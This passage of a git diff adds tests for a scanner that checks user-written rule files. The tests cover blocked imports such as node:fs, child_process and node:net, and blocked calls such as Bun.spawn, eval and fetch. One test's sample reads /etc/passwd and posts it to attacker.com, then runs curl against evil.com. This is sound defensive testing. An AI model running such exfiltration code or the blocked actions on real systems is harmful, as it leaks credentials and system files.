await ctx.readFile(file); + if (content.includes("TODO")) { + ctx.report.warning({ message: "Found TODO", file }); + } + } + }, + }, + }, +}; +` + ); + + const loaded = await loadRuleAdrs(tempDir); + expect(loaded).toHaveLength(1); + expect(loaded[0].adr.frontmatter.id).toBe("SEC-005"); + }); + + test("allows rule with safe imports (node:path)", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-006", "SEC-006-safe-imports"); + writeFileSync( + join(adrsDir, "SEC-006-safe-imports.rules.ts"), + `import { join } from "node:path"; + +export default { + rules: { + "path-rule": { + description: "Uses safe modules", + async check(ctx) { + const p = join("src", "index.ts"); + }, + }, + }, +}; +` + ); + + const loaded = await loadRuleAdrs(tempDir); + expect(loaded).toHaveLength(1); + }); +}); diff --git a/tests/engine/rule-scanner.test.ts b/tests/engine/rule-scanner.test.ts new file mode 100644 index 00000000..48fcfb87 --- /dev/null +++ b/tests/engine/rule-scanner.test.ts @@ -0,0 +1,248 @@ +import { describe, expect, test } from "bun:test"; + +import { scanRuleSource } from "../../src/engine/rule-scanner"; + +describe("scanRuleSource", () => { + describe("banned imports", () => { + const bannedModules = [ + "node:fs", + "fs", + "node:child_process", + "child_process", + "node:net", + "node:dgram", + "node:http", + "node:https", + "node:http2", + "node:worker_threads", + "node:cluster", + "node:vm", + "node:fs/promises", + "bun", + ]; + + for (const mod of bannedModules) { + test(`blocks ${mod} import`, () => { + const violations = scanRuleSource(`import x from "${mod}";`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain(`"${mod}"`); + expect(violations[0].message).toContain("blocked"); + }); + } + + const safeModules = ["node:path", "node:url", "node:util", "node:crypto"]; + + for (const mod of safeModules) { + test(`allows ${mod} import`, () => { + const violations = scanRuleSource(`import x from "${mod}";`); + expect(violations).toHaveLength(0); + }); + } + }); + + describe("dangerous Bun APIs", () => { + test("blocks Bun.spawn", () => { + const violations = scanRuleSource(`Bun.spawn(["ls"]);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.spawn()"); + }); + + test("blocks Bun.spawnSync", () => { + const violations = scanRuleSource(`Bun.spawnSync(["ls"]);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.spawnSync()"); + }); + + test("blocks Bun.write", () => { + const violations = scanRuleSource(`Bun.write("output.txt", "data");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.write()"); + }); + + test("blocks Bun.$", () => { + const violations = scanRuleSource(`Bun.$;`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.$()"); + }); + + test("blocks Bun.file", () => { + const violations = scanRuleSource(`Bun.file("/etc/passwd");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.file()"); + }); + }); + + describe("computed property access", () => { + test("blocks Bun[variable]", () => { + const violations = scanRuleSource( + `const method = "spawn"; Bun[method]();` + ); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain( + "Computed property access on Bun" + ); + }); + + test("blocks globalThis[variable]", () => { + const violations = scanRuleSource( + `const key = "fetch"; globalThis[key]();` + ); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain( + "Computed property access on globalThis" + ); + }); + }); + + describe("eval and Function constructor", () => { + test("blocks eval()", () => { + const violations = scanRuleSource(`eval("console.log(1)");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("eval()"); + }); + + test("blocks new Function()", () => { + const violations = scanRuleSource(`new Function("return 1")();`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("new Function()"); + }); + + test("blocks Function() without new", () => { + const violations = scanRuleSource(`Function("return 1")();`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Function() constructor"); + }); + }); + + describe("fetch", () => { + test("blocks fetch()", () => { + const violations = scanRuleSource(`fetch("https://example.com");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("fetch()"); + }); + }); + + describe("dynamic imports", () => { + test("blocks import(variable)", () => { + const violations = scanRuleSource(`const mod = "node:fs"; import(mod);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Dynamic import()"); + }); + + test("allows import with literal string", () => { + const violations = scanRuleSource(`import("node:path");`); + // Static import expression with literal — allowed by dynamic import check. + // But node:path is safe so no import declaration violation either. + const dynamicViolations = violations.filter((v) => + v.message.includes("Dynamic import()") + ); + expect(dynamicViolations).toHaveLength(0); + }); + }); + + describe("global mutation", () => { + test("blocks globalThis assignment", () => { + const violations = scanRuleSource(`globalThis.myGlobal = "value";`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Mutating globalThis"); + }); + + test("blocks process.env assignment", () => { + const violations = scanRuleSource(`process.env = {};`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Mutating process.env"); + }); + }); + + describe("TypeScript support", () => { + test("handles TypeScript syntax (interfaces, type annotations)", () => { + const source = ` + interface Config { name: string; } + const config: Config = { name: "test" }; + export default { rules: {} }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + + test("handles satisfies keyword", () => { + const source = ` + type RuleSet = { rules: Record }; + export default { rules: {} } satisfies RuleSet; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + }); + + describe("clean rule files", () => { + test("passes a well-behaved rule using only RuleContext", () => { + const source = ` + export default { + rules: { + "my-rule": { + description: "Check something", + async check(ctx) { + const files = await ctx.glob("src/**/*.ts"); + for (const file of files) { + const content = await ctx.readFile(file); + if (content.includes("TODO")) { + ctx.report.warning({ message: "Found TODO", file }); + } + } + }, + }, + }, + }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + + test("passes rule with safe imports (node:path, node:url)", () => { + const source = ` + import { join } from "node:path"; + import { URL } from "node:url"; + + export default { + rules: { + "path-rule": { + description: "Uses safe modules", + async check(ctx) { + const p = join("src", "index.ts"); + const url = new URL("https://example.com"); + }, + }, + }, + }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + }); + + describe("multiple violations", () => { + test("reports all violations in a single file", () => { + const source = ` + import { readFileSync } from "node:fs"; + import { execSync } from "node:child_process"; + + const secret = readFileSync("/etc/passwd", "utf8"); + fetch("https://attacker.com", { method: "POST", body: secret }); + Bun.spawn(["curl", "https://evil.com"]); + `; + const violations = scanRuleSource(source); + expect(violations.length).toBeGreaterThanOrEqual(4); + }); + }); + + describe("violation location", () => { + test("reports line and column numbers", () => { + const source = `const x = 1;\neval("code");`; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBeGreaterThan(0); + expect(violations[0].column).toBeGreaterThanOrEqual(0); + }); + }); +});